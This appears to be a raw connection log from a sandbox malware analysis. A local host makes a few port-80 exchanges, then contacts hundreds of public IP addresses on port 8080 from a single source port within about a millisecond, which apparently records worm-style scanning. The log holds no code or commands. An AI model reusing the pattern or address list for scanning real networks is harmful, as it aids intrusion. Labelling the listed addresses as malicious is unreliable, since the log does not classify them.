Oct 29, 2024 20:52:40.256805897 CET	80	43104	95.212.159.79	192.168.2.13
Oct 29, 2024 20:52:40.256865025 CET	55938	80	192.168.2.13	95.136.186.232
Oct 29, 2024 20:52:40.256865025 CET	43104	80	192.168.2.13	95.212.159.79
Oct 29, 2024 20:52:40.256915092 CET	49274	80	192.168.2.13	95.184.210.191
Oct 29, 2024 20:52:40.256999969 CET	49274	80	192.168.2.13	95.184.210.191
Oct 29, 2024 20:52:40.257061958 CET	43104	80	192.168.2.13	95.212.159.79
Oct 29, 2024 20:52:40.257061958 CET	55938	80	192.168.2.13	95.136.186.232
Oct 29, 2024 20:52:40.263339996 CET	80	55938	95.136.186.232	192.168.2.13
Oct 29, 2024 20:52:40.263395071 CET	55938	80	192.168.2.13	95.136.186.232
Oct 29, 2024 20:52:40.263997078 CET	80	43104	95.212.159.79	192.168.2.13
Oct 29, 2024 20:52:40.264058113 CET	43104	80	192.168.2.13	95.212.159.79
Oct 29, 2024 20:52:40.264808893 CET	80	49274	95.184.210.191	192.168.2.13
Oct 29, 2024 20:52:40.264859915 CET	49274	80	192.168.2.13	95.184.210.191
Oct 29, 2024 20:52:40.344340086 CET	56351	8080	192.168.2.13	62.164.171.163
Oct 29, 2024 20:52:40.344340086 CET	56351	8080	192.168.2.13	94.95.189.183
Oct 29, 2024 20:52:40.344342947 CET	56351	8080	192.168.2.13	94.72.220.41
Oct 29, 2024 20:52:40.344352007 CET	56351	8080	192.168.2.13	31.1.3.61
Oct 29, 2024 20:52:40.344352007 CET	56351	8080	192.168.2.13	94.131.209.220
Oct 29, 2024 20:52:40.344391108 CET	56351	8080	192.168.2.13	95.20.19.141
Oct 29, 2024 20:52:40.344391108 CET	56351	8080	192.168.2.13	62.56.199.128
Oct 29, 2024 20:52:40.344398022 CET	56351	8080	192.168.2.13	62.232.4.244
Oct 29, 2024 20:52:40.344413042 CET	56351	8080	192.168.2.13	85.173.52.49
Oct 29, 2024 20:52:40.344413996 CET	56351	8080	192.168.2.13	85.178.99.80
Oct 29, 2024 20:52:40.344430923 CET	56351	8080	192.168.2.13	85.209.224.148
Oct 29, 2024 20:52:40.344435930 CET	56351	8080	192.168.2.13	62.108.213.208
Oct 29, 2024 20:52:40.344436884 CET	56351	8080	192.168.2.13	95.69.206.22
Oct 29, 2024 20:52:40.344438076 CET	56351	8080	192.168.2.13	31.118.51.174
Oct 29, 2024 20:52:40.344439030 CET	56351	8080	192.168.2.13	62.206.223.31
Oct 29, 2024 20:52:40.344448090 CET	56351	8080	192.168.2.13	31.36.2.219
Oct 29, 2024 20:52:40.344460011 CET	56351	8080	192.168.2.13	94.95.161.169
Oct 29, 2024 20:52:40.344465971 CET	56351	8080	192.168.2.13	31.163.201.128
Oct 29, 2024 20:52:40.344479084 CET	56351	8080	192.168.2.13	95.66.74.32
Oct 29, 2024 20:52:40.344485998 CET	56351	8080	192.168.2.13	31.204.4.232
Oct 29, 2024 20:52:40.344491005 CET	56351	8080	192.168.2.13	31.193.211.189
Oct 29, 2024 20:52:40.344492912 CET	56351	8080	192.168.2.13	95.29.164.98
Oct 29, 2024 20:52:40.344497919 CET	56351	8080	192.168.2.13	85.33.239.32
Oct 29, 2024 20:52:40.344497919 CET	56351	8080	192.168.2.13	94.207.11.133
Oct 29, 2024 20:52:40.344506979 CET	56351	8080	192.168.2.13	62.140.162.219
Oct 29, 2024 20:52:40.344530106 CET	56351	8080	192.168.2.13	62.30.117.41
Oct 29, 2024 20:52:40.344542027 CET	56351	8080	192.168.2.13	85.185.181.135
Oct 29, 2024 20:52:40.344542980 CET	56351	8080	192.168.2.13	31.28.74.203
Oct 29, 2024 20:52:40.344546080 CET	56351	8080	192.168.2.13	31.31.79.247
Oct 29, 2024 20:52:40.344547987 CET	56351	8080	192.168.2.13	94.48.162.147
Oct 29, 2024 20:52:40.344548941 CET	56351	8080	192.168.2.13	94.209.231.28
Oct 29, 2024 20:52:40.344548941 CET	56351	8080	192.168.2.13	85.175.188.89
Oct 29, 2024 20:52:40.344549894 CET	56351	8080	192.168.2.13	95.253.26.111
Oct 29, 2024 20:52:40.344574928 CET	56351	8080	192.168.2.13	85.164.168.5
Oct 29, 2024 20:52:40.344583035 CET	56351	8080	192.168.2.13	85.54.161.111
Oct 29, 2024 20:52:40.344583035 CET	56351	8080	192.168.2.13	95.236.58.78
Oct 29, 2024 20:52:40.344607115 CET	56351	8080	192.168.2.13	94.124.18.46
Oct 29, 2024 20:52:40.344608068 CET	56351	8080	192.168.2.13	85.80.90.151
Oct 29, 2024 20:52:40.344609976 CET	56351	8080	192.168.2.13	62.199.194.152
Oct 29, 2024 20:52:40.344615936 CET	56351	8080	192.168.2.13	62.114.27.68
Oct 29, 2024 20:52:40.344620943 CET	56351	8080	192.168.2.13	85.109.137.42
Oct 29, 2024 20:52:40.344620943 CET	56351	8080	192.168.2.13	85.160.8.140
Oct 29, 2024 20:52:40.344629049 CET	56351	8080	192.168.2.13	95.173.85.37
Oct 29, 2024 20:52:40.344629049 CET	56351	8080	192.168.2.13	85.8.21.86
Oct 29, 2024 20:52:40.344631910 CET	56351	8080	192.168.2.13	94.139.144.80
Oct 29, 2024 20:52:40.344635010 CET	56351	8080	192.168.2.13	62.181.79.96
Oct 29, 2024 20:52:40.344635963 CET	56351	8080	192.168.2.13	62.121.142.218
Oct 29, 2024 20:52:40.344635010 CET	56351	8080	192.168.2.13	85.130.89.211
Oct 29, 2024 20:52:40.344635963 CET	56351	8080	192.168.2.13	94.47.211.236
Oct 29, 2024 20:52:40.344639063 CET	56351	8080	192.168.2.13	94.114.23.86
Oct 29, 2024 20:52:40.344635963 CET	56351	8080	192.168.2.13	94.109.34.193
Oct 29, 2024 20:52:40.344645023 CET	56351	8080	192.168.2.13	94.127.89.133
Oct 29, 2024 20:52:40.344655037 CET	56351	8080	192.168.2.13	62.60.217.21
Oct 29, 2024 20:52:40.344664097 CET	56351	8080	192.168.2.13	31.59.214.61
Oct 29, 2024 20:52:40.344680071 CET	56351	8080	192.168.2.13	95.101.93.137
Oct 29, 2024 20:52:40.344686985 CET	56351	8080	192.168.2.13	85.17.85.3
Oct 29, 2024 20:52:40.344724894 CET	56351	8080	192.168.2.13	85.107.247.228
Oct 29, 2024 20:52:40.344726086 CET	56351	8080	192.168.2.13	85.85.3.130
Oct 29, 2024 20:52:40.344726086 CET	56351	8080	192.168.2.13	85.132.3.24
Oct 29, 2024 20:52:40.344726086 CET	56351	8080	192.168.2.13	62.18.129.82
Oct 29, 2024 20:52:40.344727039 CET	56351	8080	192.168.2.13	95.160.200.192
Oct 29, 2024 20:52:40.344727993 CET	56351	8080	192.168.2.13	85.185.85.240
Oct 29, 2024 20:52:40.344727993 CET	56351	8080	192.168.2.13	95.76.133.45
Oct 29, 2024 20:52:40.344727993 CET	56351	8080	192.168.2.13	95.144.205.221
Oct 29, 2024 20:52:40.344727993 CET	56351	8080	192.168.2.13	85.109.44.7
Oct 29, 2024 20:52:40.344727993 CET	56351	8080	192.168.2.13	85.250.206.247
Oct 29, 2024 20:52:40.344727993 CET	56351	8080	192.168.2.13	62.207.147.104
Oct 29, 2024 20:52:40.344727993 CET	56351	8080	192.168.2.13	85.66.80.182
Oct 29, 2024 20:52:40.344727993 CET	56351	8080	192.168.2.13	62.244.96.236
Oct 29, 2024 20:52:40.344727993 CET	56351	8080	192.168.2.13	94.88.97.41
Oct 29, 2024 20:52:40.344733000 CET	56351	8080	192.168.2.13	95.202.114.245
Oct 29, 2024 20:52:40.344733000 CET	56351	8080	192.168.2.13	95.217.166.43
Oct 29, 2024 20:52:40.344767094 CET	56351	8080	192.168.2.13	94.1.207.138
Oct 29, 2024 20:52:40.344783068 CET	56351	8080	192.168.2.13	62.211.165.251
Oct 29, 2024 20:52:40.344783068 CET	56351	8080	192.168.2.13	94.55.85.201
Oct 29, 2024 20:52:40.344784975 CET	56351	8080	192.168.2.13	31.176.126.215
Oct 29, 2024 20:52:40.344789982 CET	56351	8080	192.168.2.13	94.220.119.12
Oct 29, 2024 20:52:40.344789982 CET	56351	8080	192.168.2.13	31.165.244.228
Oct 29, 2024 20:52:40.344789982 CET	56351	8080	192.168.2.13	85.186.84.58
Oct 29, 2024 20:52:40.344791889 CET	56351	8080	192.168.2.13	31.248.36.241
Oct 29, 2024 20:52:40.344791889 CET	56351	8080	192.168.2.13	31.252.38.137
Oct 29, 2024 20:52:40.344808102 CET	56351	8080	192.168.2.13	31.205.150.208
Oct 29, 2024 20:52:40.344808102 CET	56351	8080	192.168.2.13	94.226.14.238
Oct 29, 2024 20:52:40.344809055 CET	56351	8080	192.168.2.13	31.125.149.234
Oct 29, 2024 20:52:40.344808102 CET	56351	8080	192.168.2.13	95.115.138.194
Oct 29, 2024 20:52:40.344811916 CET	56351	8080	192.168.2.13	95.166.206.1
Oct 29, 2024 20:52:40.344815016 CET	56351	8080	192.168.2.13	85.76.179.120
Oct 29, 2024 20:52:40.344815016 CET	56351	8080	192.168.2.13	31.181.166.19
Oct 29, 2024 20:52:40.344816923 CET	56351	8080	192.168.2.13	94.200.30.105
Oct 29, 2024 20:52:40.344820023 CET	56351	8080	192.168.2.13	62.152.205.109
Oct 29, 2024 20:52:40.344820023 CET	56351	8080	192.168.2.13	62.53.59.149
Oct 29, 2024 20:52:40.344821930 CET	56351	8080	192.168.2.13	31.198.207.195
Oct 29, 2024 20:52:40.344839096 CET	56351	8080	192.168.2.13	94.178.167.66
Oct 29, 2024 20:52:40.344839096 CET	56351	8080	192.168.2.13	85.217.135.86
Oct 29, 2024 20:52:40.344844103 CET	56351	8080	192.168.2.13	94.4.132.51
Oct 29, 2024 20:52:40.344844103 CET	56351	8080	192.168.2.13	95.168.76.248
Oct 29, 2024 20:52:40.344845057 CET	56351	8080	192.168.2.13	31.152.7.99
Oct 29, 2024 20:52:40.344846964 CET	56351	8080	192.168.2.13	31.224.105.230
Oct 29, 2024 20:52:40.344846010 CET	56351	8080	192.168.2.13	85.105.251.207
Oct 29, 2024 20:52:40.344846964 CET	56351	8080	192.168.2.13	95.87.177.39
Oct 29, 2024 20:52:40.344846010 CET	56351	8080	192.168.2.13	94.203.67.17
Oct 29, 2024 20:52:40.344846010 CET	56351	8080	192.168.2.13	95.218.49.34
Oct 29, 2024 20:52:40.344845057 CET	56351	8080	192.168.2.13	62.35.81.198
Oct 29, 2024 20:52:40.344844103 CET	56351	8080	192.168.2.13	31.33.115.140
Oct 29, 2024 20:52:40.344856977 CET	56351	8080	192.168.2.13	95.225.122.69
Oct 29, 2024 20:52:40.344857931 CET	56351	8080	192.168.2.13	62.254.9.193
Oct 29, 2024 20:52:40.344857931 CET	56351	8080	192.168.2.13	31.71.148.160
Oct 29, 2024 20:52:40.344860077 CET	56351	8080	192.168.2.13	31.232.151.75
Oct 29, 2024 20:52:40.344860077 CET	56351	8080	192.168.2.13	94.240.96.150
Oct 29, 2024 20:52:40.344861031 CET	56351	8080	192.168.2.13	85.200.40.201
Oct 29, 2024 20:52:40.344856977 CET	56351	8080	192.168.2.13	85.89.51.72
Oct 29, 2024 20:52:40.344856977 CET	56351	8080	192.168.2.13	95.158.130.26
Oct 29, 2024 20:52:40.344856977 CET	56351	8080	192.168.2.13	95.127.166.125
Oct 29, 2024 20:52:40.344865084 CET	56351	8080	192.168.2.13	31.36.6.89
Oct 29, 2024 20:52:40.344865084 CET	56351	8080	192.168.2.13	31.243.125.254
Oct 29, 2024 20:52:40.344865084 CET	56351	8080	192.168.2.13	94.13.183.171
Oct 29, 2024 20:52:40.344865084 CET	56351	8080	192.168.2.13	95.124.157.176
Oct 29, 2024 20:52:40.344866991 CET	56351	8080	192.168.2.13	85.43.66.209
Oct 29, 2024 20:52:40.344867945 CET	56351	8080	192.168.2.13	95.43.197.152
Oct 29, 2024 20:52:40.344867945 CET	56351	8080	192.168.2.13	31.66.191.46
Oct 29, 2024 20:52:40.344868898 CET	56351	8080	192.168.2.13	62.150.217.142
Oct 29, 2024 20:52:40.344876051 CET	56351	8080	192.168.2.13	31.160.53.121
Oct 29, 2024 20:52:40.344877005 CET	56351	8080	192.168.2.13	95.84.194.215
Oct 29, 2024 20:52:40.344883919 CET	56351	8080	192.168.2.13	95.44.63.38
Oct 29, 2024 20:52:40.344894886 CET	56351	8080	192.168.2.13	62.222.177.111
Oct 29, 2024 20:52:40.344901085 CET	56351	8080	192.168.2.13	62.187.4.230
Oct 29, 2024 20:52:40.344903946 CET	56351	8080	192.168.2.13	62.78.238.21
Oct 29, 2024 20:52:40.344938993 CET	56351	8080	192.168.2.13	62.143.202.157
Oct 29, 2024 20:52:40.344938993 CET	56351	8080	192.168.2.13	85.254.249.143
Oct 29, 2024 20:52:40.344940901 CET	56351	8080	192.168.2.13	85.162.55.242
Oct 29, 2024 20:52:40.344940901 CET	56351	8080	192.168.2.13	94.210.23.111
Oct 29, 2024 20:52:40.344947100 CET	56351	8080	192.168.2.13	62.36.140.77
Oct 29, 2024 20:52:40.344947100 CET	56351	8080	192.168.2.13	85.167.39.122
Oct 29, 2024 20:52:40.344947100 CET	56351	8080	192.168.2.13	94.204.119.58
Oct 29, 2024 20:52:40.344947100 CET	56351	8080	192.168.2.13	85.201.227.129
Oct 29, 2024 20:52:40.344949007 CET	56351	8080	192.168.2.13	85.89.223.0
Oct 29, 2024 20:52:40.344947100 CET	56351	8080	192.168.2.13	95.43.17.43
Oct 29, 2024 20:52:40.344954967 CET	56351	8080	192.168.2.13	31.235.91.196
Oct 29, 2024 20:52:40.344958067 CET	56351	8080	192.168.2.13	62.193.54.224
Oct 29, 2024 20:52:40.344959974 CET	56351	8080	192.168.2.13	31.129.29.32
Oct 29, 2024 20:52:40.344959974 CET	56351	8080	192.168.2.13	95.228.16.217
Oct 29, 2024 20:52:40.344959974 CET	56351	8080	192.168.2.13	94.169.148.197
Oct 29, 2024 20:52:40.344963074 CET	56351	8080	192.168.2.13	85.158.61.135
Oct 29, 2024 20:52:40.344971895 CET	56351	8080	192.168.2.13	62.117.171.141
Oct 29, 2024 20:52:40.344971895 CET	56351	8080	192.168.2.13	85.17.155.75
Oct 29, 2024 20:52:40.344971895 CET	56351	8080	192.168.2.13	31.204.194.147
Oct 29, 2024 20:52:40.344973087 CET	56351	8080	192.168.2.13	85.109.57.152
Oct 29, 2024 20:52:40.344991922 CET	56351	8080	192.168.2.13	85.140.255.193
Oct 29, 2024 20:52:40.344999075 CET	56351	8080	192.168.2.13	85.198.195.193
Oct 29, 2024 20:52:40.345000982 CET	56351	8080	192.168.2.13	94.5.218.39
Oct 29, 2024 20:52:40.345000982 CET	56351	8080	192.168.2.13	95.112.55.241
Oct 29, 2024 20:52:40.345004082 CET	56351	8080	192.168.2.13	62.13.100.90
Oct 29, 2024 20:52:40.345009089 CET	56351	8080	192.168.2.13	95.188.21.96
Oct 29, 2024 20:52:40.345016956 CET	56351	8080	192.168.2.13	95.165.225.28
Oct 29, 2024 20:52:40.345027924 CET	56351	8080	192.168.2.13	85.35.106.192
Oct 29, 2024 20:52:40.345031023 CET	56351	8080	192.168.2.13	62.123.162.119
Oct 29, 2024 20:52:40.345032930 CET	56351	8080	192.168.2.13	62.209.28.133
Oct 29, 2024 20:52:40.345036030 CET	56351	8080	192.168.2.13	94.63.156.128
Oct 29, 2024 20:52:40.345045090 CET	56351	8080	192.168.2.13	94.248.233.28
Oct 29, 2024 20:52:40.345051050 CET	56351	8080	192.168.2.13	94.41.203.14
Oct 29, 2024 20:52:40.345056057 CET	56351	8080	192.168.2.13	85.92.76.134
Oct 29, 2024 20:52:40.345076084 CET	56351	8080	192.168.2.13	94.182.251.87
Oct 29, 2024 20:52:40.345077038 CET	56351	8080	192.168.2.13	62.241.226.188
Oct 29, 2024 20:52:40.345077038 CET	56351	8080	192.168.2.13	62.222.195.34
Oct 29, 2024 20:52:40.345077038 CET	56351	8080	192.168.2.13	62.2.54.6
Oct 29, 2024 20:52:40.345083952 CET	56351	8080	192.168.2.13	31.181.146.133
Oct 29, 2024 20:52:40.345083952 CET	56351	8080	192.168.2.13	62.177.135.252
Oct 29, 2024 20:52:40.345083952 CET	56351	8080	192.168.2.13	85.69.43.213
Oct 29, 2024 20:52:40.345088959 CET	56351	8080	192.168.2.13	95.141.33.244
Oct 29, 2024 20:52:40.345088959 CET	56351	8080	192.168.2.13	94.127.87.95
Oct 29, 2024 20:52:40.345088959 CET	56351	8080	192.168.2.13	94.133.45.206
Oct 29, 2024 20:52:40.345098019 CET	56351	8080	192.168.2.13	94.46.199.154
Oct 29, 2024 20:52:40.345104933 CET	56351	8080	192.168.2.13	85.235.90.195
Oct 29, 2024 20:52:40.345104933 CET	56351	8080	192.168.2.13	31.117.153.203
Oct 29, 2024 20:52:40.345104933 CET	56351	8080	192.168.2.13	95.239.221.239
Oct 29, 2024 20:52:40.345104933 CET	56351	8080	192.168.2.13	94.18.255.121
Oct 29, 2024 20:52:40.345109940 CET	56351	8080	192.168.2.13	95.186.204.250
Oct 29, 2024 20:52:40.345129013 CET	56351	8080	192.168.2.13	94.113.214.103
Oct 29, 2024 20:52:40.345132113 CET	56351	8080	192.168.2.13	94.40.64.192
Oct 29, 2024 20:52:40.345134974 CET	56351	8080	192.168.2.13	62.32.197.21
Oct 29, 2024 20:52:40.345140934 CET	56351	8080	192.168.2.13	62.72.41.159
Oct 29, 2024 20:52:40.345144033 CET	56351	8080	192.168.2.13	31.205.115.79
Oct 29, 2024 20:52:40.345176935 CET	56351	8080	192.168.2.13	85.198.58.142
Oct 29, 2024 20:52:40.345176935 CET	56351	8080	192.168.2.13	95.2.42.125
Oct 29, 2024 20:52:40.345176935 CET	56351	8080	192.168.2.13	62.63.55.88
Oct 29, 2024 20:52:40.345180035 CET	56351	8080	192.168.2.13	95.6.191.47
Oct 29, 2024 20:52:40.345180988 CET	56351	8080	192.168.2.13	95.90.180.37
Oct 29, 2024 20:52:40.345180035 CET	56351	8080	192.168.2.13	94.132.60.57
Oct 29, 2024 20:52:40.345180035 CET	56351	8080	192.168.2.13	95.104.12.141
Oct 29, 2024 20:52:40.345191002 CET	56351	8080	192.168.2.13	94.43.188.145
Oct 29, 2024 20:52:40.345191002 CET	56351	8080	192.168.2.13	62.201.219.71
Oct 29, 2024 20:52:40.345191002 CET	56351	8080	192.168.2.13	62.255.18.242
Oct 29, 2024 20:52:40.345195055 CET	56351	8080	192.168.2.13	85.138.12.226
Oct 29, 2024 20:52:40.345196009 CET	56351	8080	192.168.2.13	94.209.11.240
Oct 29, 2024 20:52:40.345196009 CET	56351	8080	192.168.2.13	62.211.41.22
Oct 29, 2024 20:52:40.345202923 CET	56351	8080	192.168.2.13	62.128.217.121
Oct 29, 2024 20:52:40.345206022 CET	56351	8080	192.168.2.13	94.54.144.179
Oct 29, 2024 20:52:40.345206022 CET	56351	8080	192.168.2.13	94.36.103.219
Oct 29, 2024 20:52:40.345227003 CET	56351	8080	192.168.2.13	95.74.29.90
Oct 29, 2024 20:52:40.345244884 CET	56351	8080	192.168.2.13	85.166.37.80
Oct 29, 2024 20:52:40.345247030 CET	56351	8080	192.168.2.13	94.83.134.120
Oct 29, 2024 20:52:40.345268011 CET	56351	8080	192.168.2.13	94.143.59.176
Oct 29, 2024 20:52:40.345268965 CET	56351	8080	192.168.2.13	85.189.141.117
Oct 29, 2024 20:52:40.345268965 CET	56351	8080	192.168.2.13	85.236.204.108
Oct 29, 2024 20:52:40.345268965 CET	56351	8080	192.168.2.13	95.227.32.82
Oct 29, 2024 20:52:40.345273018 CET	56351	8080	192.168.2.13	85.71.200.191
Oct 29, 2024 20:52:40.345278025 CET	56351	8080	192.168.2.13	31.38.249.87
Oct 29, 2024 20:52:40.345278025 CET	56351	8080	192.168.2.13	62.60.17.240
Oct 29, 2024 20:52:40.345278025 CET	56351	8080	192.168.2.13	94.98.65.77
Oct 29, 2024 20:52:40.345278025 CET	56351	8080	192.168.2.13	62.108.87.23
Oct 29, 2024 20:52:40.345278025 CET	56351	8080	192.168.2.13	62.49.246.146
Oct 29, 2024 20:52:40.345283985 CET	56351	8080	192.168.2.13	85.40.197.157
Oct 29, 2024 20:52:40.345283985 CET	56351	8080	192.168.2.13	31.237.197.1
Oct 29, 2024 20:52:40.345283985 CET	56351	8080	192.168.2.13	62.136.89.155
Oct 29, 2024 20:52:40.345283985 CET	56351	8080	192.168.2.13	95.222.149.213
Oct 29, 2024 20:52:40.345284939 CET	56351	8080	192.168.2.13	94.60.78.244
Oct 29, 2024 20:52:40.345283985 CET	56351	8080	192.168.2.13	85.168.234.138
Oct 29, 2024 20:52:40.345287085 CET	56351	8080	192.168.2.13	94.158.2.25
Oct 29, 2024 20:52:40.345287085 CET	56351	8080	192.168.2.13	62.224.253.236
Oct 29, 2024 20:52:40.345293045 CET	56351	8080	192.168.2.13	95.180.189.18
Oct 29, 2024 20:52:40.345293045 CET	56351	8080	192.168.2.13	95.2.148.146
Oct 29, 2024 20:52:40.345297098 CET	56351	8080	192.168.2.13	62.6.93.118
Oct 29, 2024 20:52:40.345297098 CET	56351	8080	192.168.2.13	62.62.46.80
Oct 29, 2024 20:52:40.345304012 CET	56351	8080	192.168.2.13	31.185.6.144
Oct 29, 2024 20:52:40.345304012 CET	56351	8080	192.168.2.13	94.142.112.102
Oct 29, 2024 20:52:40.345314980 CET	56351	8080	192.168.2.13	85.190.117.50
Oct 29, 2024 20:52:40.345316887 CET	56351	8080	192.168.2.13	94.61.54.183
Oct 29, 2024 20:52:40.345318079 CET	56351	8080	192.168.2.13	85.131.210.255
Oct 29, 2024 20:52:40.345318079 CET	56351	8080	192.168.2.13	62.11.199.235
Oct 29, 2024 20:52:40.345321894 CET	56351	8080	192.168.2.13	94.183.180.134
Oct 29, 2024 20:52:40.345338106 CET	56351	8080	192.168.2.13	85.22.91.44
Oct 29, 2024 20:52:40.345341921 CET	56351	8080	192.168.2.13	94.43.90.157
Oct 29, 2024 20:52:40.345355034 CET	56351	8080	192.168.2.13	95.152.188.46
Oct 29, 2024 20:52:40.345360994 CET	56351	8080	192.168.2.13	94.29.72.215
Oct 29, 2024 20:52:40.345366001 CET	56351	8080	192.168.2.13	94.11.180.161
Oct 29, 2024 20:52:40.345377922 CET	56351	8080	192.168.2.13	85.144.131.20
Oct 29, 2024 20:52:40.345380068 CET	56351	8080	192.168.2.13	62.53.193.190
Oct 29, 2024 20:52:40.345386982 CET	56351	8080	192.168.2.13	94.51.41.111
Oct 29, 2024 20:52:40.345386982 CET	56351	8080	192.168.2.13	62.168.34.216
Oct 29, 2024 20:52:40.345386982 CET	56351	8080	192.168.2.13	31.41.231.58
Oct 29, 2024 20:52:40.345387936 CET	56351	8080	192.168.2.13	95.49.187.110
Oct 29, 2024 20:52:40.345387936 CET	56351	8080	192.168.2.13	62.124.214.2
Oct 29, 2024 20:52:40.345387936 CET	56351	8080	192.168.2.13	31.85.41.71
Oct 29, 2024 20:52:40.345387936 CET	56351	8080	192.168.2.13	94.135.73.223
Oct 29, 2024 20:52:40.345387936 CET	56351	8080	192.168.2.13	62.164.213.24
Oct 29, 2024 20:52:40.345401049 CET	56351	8080	192.168.2.13	85.230.118.173
Oct 29, 2024 20:52:40.345401049 CET	56351	8080	192.168.2.13	95.37.161.113
Oct 29, 2024 20:52:40.345405102 CET	56351	8080	192.168.2.13	31.92.214.252
Oct 29, 2024 20:52:40.345410109 CET	56351	8080	192.168.2.13	94.96.128.4
Oct 29, 2024 20:52:40.345412016 CET	56351	8080	192.168.2.13	85.168.99.172
Oct 29, 2024 20:52:40.345412016 CET	56351	8080	192.168.2.13	85.43.216.156
Oct 29, 2024 20:52:40.345412016 CET	56351	8080	192.168.2.13	62.133.199.164
Oct 29, 2024 20:52:40.345424891 CET	56351	8080	192.168.2.13	62.79.134.74
Oct 29, 2024 20:52:40.345442057 CET	56351	8080	192.168.2.13	94.214.89.108
Oct 29, 2024 20:52:40.345448971 CET	56351	8080	192.168.2.13	94.108.14.213
Oct 29, 2024 20:52:40.345448971 CET	56351	8080	192.168.2.13	95.174.199.179
Oct 29, 2024 20:52:40.345457077 CET	56351	8080	192.168.2.13	85.217.58.240
Oct 29, 2024 20:52:40.345457077 CET	56351	8080	192.168.2.13	31.92.29.99
Oct 29, 2024 20:52:40.345463991 CET	56351	8080	192.168.2.13	95.133.238.71
Oct 29, 2024 20:52:40.345468044 CET	56351	8080	192.168.2.13	95.46.136.179
Oct 29, 2024 20:52:40.345484018 CET	56351	8080	192.168.2.13	94.192.144.132
Oct 29, 2024 20:52:40.345485926 CET	56351	8080	192.168.2.13	85.112.84.130
Oct 29, 2024 20:52:40.345485926 CET	56351	8080	192.168.2.13	95.39.234.13
Oct 29, 2024 20:52:40.345490932 CET	56351	8080	192.168.2.13	94.188.255.25
Oct 29, 2024 20:52:40.345489979 CET	56351	8080	192.168.2.13	31.225.120.97
Oct 29, 2024 20:52:40.345495939 CET	56351	8080	192.168.2.13	62.11.122.105
Oct 29, 2024 20:52:40.345498085 CET	56351	8080	192.168.2.13	31.180.19.60
Oct 29, 2024 20:52:40.345506907 CET	56351	8080	192.168.2.13	95.119.201.130
Oct 29, 2024 20:52:40.345518112 CET	56351	8080	192.168.2.13	94.95.87.194
Oct 29, 2024 20:52:40.345524073 CET	56351	8080	192.168.2.13	62.21.174.175
Oct 29, 2024 20:52:40.345524073 CET	56351	8080	192.168.2.13	95.27.136.212
Oct 29, 2024 20:52:40.345540047 CET	56351	8080	192.168.2.13	31.207.41.144
Oct 29, 2024 20:52:40.345545053 CET	56351	8080	192.168.2.13	95.165.6.203
Oct 29, 2024 20:52:40.345550060 CET	56351	8080	192.168.2.13	95.98.232.84
Oct 29, 2024 20:52:40.345552921 CET	56351	8080	192.168.2.13	85.142.63.107
Oct 29, 2024 20:52:40.345552921 CET	56351	8080	192.168.2.13	85.18.64.171
Oct 29, 2024 20:52:40.345566034 CET	56351	8080	192.168.2.13	31.55.206.39
Oct 29, 2024 20:52:40.345591068 CET	56351	8080	192.168.2.13	85.123.167.115
Oct 29, 2024 20:52:40.345593929 CET	56351	8080	192.168.2.13	31.149.229.67
Oct 29, 2024 20:52:40.345593929 CET	56351	8080	192.168.2.13	31.116.66.46
Oct 29, 2024 20:52:40.345593929 CET	56351	8080	192.168.2.13	95.52.216.31
Oct 29, 2024 20:52:40.345597982 CET	56351	8080	192.168.2.13	94.73.203.20
Oct 29, 2024 20:52:40.345599890 CET	56351	8080	192.168.2.13	94.42.189.85
Oct 29, 2024 20:52:40.345602989 CET	56351	8080	192.168.2.13	94.178.7.35
Oct 29, 2024 20:52:40.345602989 CET	56351	8080	192.168.2.13	62.63.169.74
Oct 29, 2024 20:52:40.345602989 CET	56351	8080	192.168.2.13	31.117.253.104
Oct 29, 2024 20:52:40.345607042 CET	56351	8080	192.168.2.13	62.188.198.127
Oct 29, 2024 20:52:40.345614910 CET	56351	8080	192.168.2.13	62.206.194.135
Oct 29, 2024 20:52:40.345614910 CET	56351	8080	192.168.2.13	95.230.73.229
Oct 29, 2024 20:52:40.345622063 CET	56351	8080	192.168.2.13	85.224.190.153
Oct 29, 2024 20:52:40.345642090 CET	56351	8080	192.168.2.13	62.109.112.81
Oct 29, 2024 20:52:40.345642090 CET	56351	8080	192.168.2.13	62.221.120.114
Oct 29, 2024 20:52:40.345642090 CET	56351	8080	192.168.2.13	31.105.59.98
Oct 29, 2024 20:52:40.345643044 CET	56351	8080	192.168.2.13	62.67.143.174
Oct 29, 2024 20:52:40.345660925 CET	56351	8080	192.168.2.13	95.211.24.17
Oct 29, 2024 20:52:40.345660925 CET	56351	8080	192.168.2.13	94.207.7.210
Oct 29, 2024 20:52:40.345676899 CET	56351	8080	192.168.2.13	85.38.207.90
Oct 29, 2024 20:52:40.345679045 CET	56351	8080	192.168.2.13	62.47.157.86
Oct 29, 2024 20:52:40.345683098 CET	56351	8080	192.168.2.13	95.127.33.205
Oct 29, 2024 20:52:40.345683098 CET	56351	8080	192.168.2.13	95.31.244.99
Oct 29, 2024 20:52:40.345683098 CET	56351	8080	192.168.2.13	94.137.71.125
Oct 29, 2024 20:52:40.345683098 CET	56351	8080	192.168.2.13	95.156.252.188
Oct 29, 2024 20:52:40.345684052 CET	56351	8080	192.168.2.13	94.19.10.189
Oct 29, 2024 20:52:40.345685005 CET	56351	8080	192.168.2.13	31.123.241.20
Oct 29, 2024 20:52:40.345684052 CET	56351	8080	192.168.2.13	62.100.11.152
Oct 29, 2024 20:52:40.345684052 CET	56351	8080	192.168.2.13	94.72.188.39
Oct 29, 2024 20:52:40.345684052 CET	56351	8080	192.168.2.13	95.27.91.99
Oct 29, 2024 20:52:40.345688105 CET	56351	8080	192.168.2.13	62.43.175.219
Oct 29, 2024 20:52:40.345688105 CET	56351	8080	192.168.2.13	31.40.141.113
Oct 29, 2024 20:52:40.345699072 CET	56351	8080	192.168.2.13	95.232.63.188
Oct 29, 2024 20:52:40.345699072 CET	56351	8080	192.168.2.13	31.198.8.8
Oct 29, 2024 20:52:40.345700979 CET	56351	8080	192.168.2.13	95.8.203.0
Oct 29, 2024 20:52:40.345701933 CET	56351	8080	192.168.2.13	85.129.204.193
Oct 29, 2024 20:52:40.345709085 CET	56351	8080	192.168.2.13	85.151.0.107
Oct 29, 2024 20:52:40.345714092 CET	56351	8080	192.168.2.13	62.43.41.236
Oct 29, 2024 20:52:40.345716000 CET	56351	8080	192.168.2.13	62.107.75.101
Oct 29, 2024 20:52:40.345727921 CET	56351	8080	192.168.2.13	31.173.148.236
Oct 29, 2024 20:52:40.345727921 CET	56351	8080	192.168.2.13	31.197.88.236
Oct 29, 2024 20:52:40.345729113 CET	56351	8080	192.168.2.13	31.172.183.161
Oct 29, 2024 20:52:40.345736980 CET	56351	8080	192.168.2.13	85.100.185.176
